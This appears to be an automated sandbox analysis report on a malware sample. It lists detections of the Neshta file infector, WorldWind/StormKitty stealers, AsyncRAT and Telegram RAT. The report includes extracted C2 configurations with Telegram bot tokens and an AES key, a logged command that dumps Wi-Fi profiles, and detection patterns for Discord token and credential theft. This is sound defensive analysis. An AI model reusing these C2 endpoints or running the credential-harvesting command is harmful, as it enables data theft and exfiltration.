C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
Click to see the 311 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2500140385.0000000000409000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x19e40:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000003.2010271958.0000000002064000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x163c1:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x27b10:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000001.00000000.2012489436.00000000004F2000.00000002.00000001.01000000.00000005.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x24091:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x319a8:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x50fad:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x4fabc:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x5a087:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: LisectAVT_2403002B_4.exe PID: 5836	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0xccfd:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x58b96:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.LisectAVT_2403002B_4.exe.400000.0.unpack	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
0.0.LisectAVT_2403002B_4.exe.400000.0.unpack	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x27d10:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x24291:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2636d:$s1: \VPN\NordVPN 0x26353:$s2: \VPN\OpenVPN 0x26335:$s3: \VPN\ProtonVPN
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x24ac9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x24b3b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x24bc5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x24c57:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x24cc1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x24d33:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x24dc9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x24e59:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4dc:$x3: StormKitty 0x1aa2c:$s1: GetBSSID 0x1e726:$s2: GetAntivirus 0x25779:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x259ab:$s6: "encrypted_key":"(.*?)"
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Classes Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\svchost.com "%1" %*, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe, ProcessId: 6476, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\(Default)

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, ProcessId: 5836, TargetFilename: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, ParentProcessId: 5836, ParentProcessName: LisectAVT_2403002B_4.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 6380, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.5

Timestamp:	2024-07-25T13:04:07.749663+0200
SID:	2022930
Source Port:	443
Destination Port:	49708
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.5 - Destination IP: 149.154.167.220

Timestamp:	2024-07-25T13:04:06.535789+0200
SID:	2803305
Source Port:	49709
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE WorldWind Stealer Sending System information via Telegram (POST) - Source IP: 192.168.2.5 - Destination IP: 149.154.167.220

Timestamp:	2024-07-25T13:04:10.270737+0200
SID:	2044557
Source Port:	49716
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.5

Timestamp:	2024-07-25T13:04:47.964247+0200
SID:	2022930
Source Port:	443
Destination Port:	63000
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE WorldWind Stealer Checkin via Telegram (GET) - Source IP: 192.168.2.5 - Destination IP: 149.154.167.220

Timestamp:	2024-07-25T13:04:05.433732+0200
SID:	2044766
Source Port:	49707
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: LisectAVT_2403002B_4.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Neshta.A
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Neshta.A

Found malware configuration

Source: LisectAVT_2403002B_4.exe	Malware Configuration Extractor: AsyncRAT {"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628", "Version": "", "AES_key": "E2j9KwmxA0fsDzIAwy8PM7JVSe3hqJOh", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "ET/+RjH00EM3iiOkuY/sXxZ/NfmN/AkPHfg68HIoAeGI4xaZ94k+Qq70XSkWDG5K2LFni9yeGdizCO5tqPVN8QTFBECU/VsJJ0Vd0X6zkPtrzhzBBtyMmqu1fZHO1EpHHiBx9dr0w5+5CA/DQOxlrpxzynR8uZ7OEe55UIhpOWHR3G8hDB2+xsX8pEIqupxNmPiRZ7vmugb1oLCdQI3ZmI1/qrf2NaSSmFXV7p9PYY1/zff/escBR7FUlD1Qqs/2Gz5XuDm6sjvRKtm8Ecj3fxECe4xJGFkm5vEdRDVySBBalcHFFXJg1AAp40klEIuVZwh0gLOhUcEKrPQADFf9n5h53h7IE1RdBb9WrflWuqu/mCsPHAaQ6Rb+BecWQRB+D6CJ9ghbUmh3Z4SeFi8i0qheKZuhncHrh3aHXXDoZ/TUu/ruvFv9pUF8TnY7/P1j4da3AxF4Gl9SLxHe28zCI/6qfzL+u/qRkIMg4yjAYbVgJfHx9HY0LNPYgqwoYdbmnMld1Llh1lgfF6USwbHbyXNX7zC1CTnFX81oBQhnRRcFnNrfvbonjVzJ2c/oBqiNUcSznYCIjkNQVfoL0QPRoEz2O3pXLnxUExOrXapnoNORkBlyFkgGZ5L3JQaifzdVTBJJSqKnUiND0Y1fiw5ZEllAkBxzhhN63H99VkDQHBQ=", "Group": "Default"}
Source: LisectAVT_2403002B_4.exe.6476.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendMessage"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
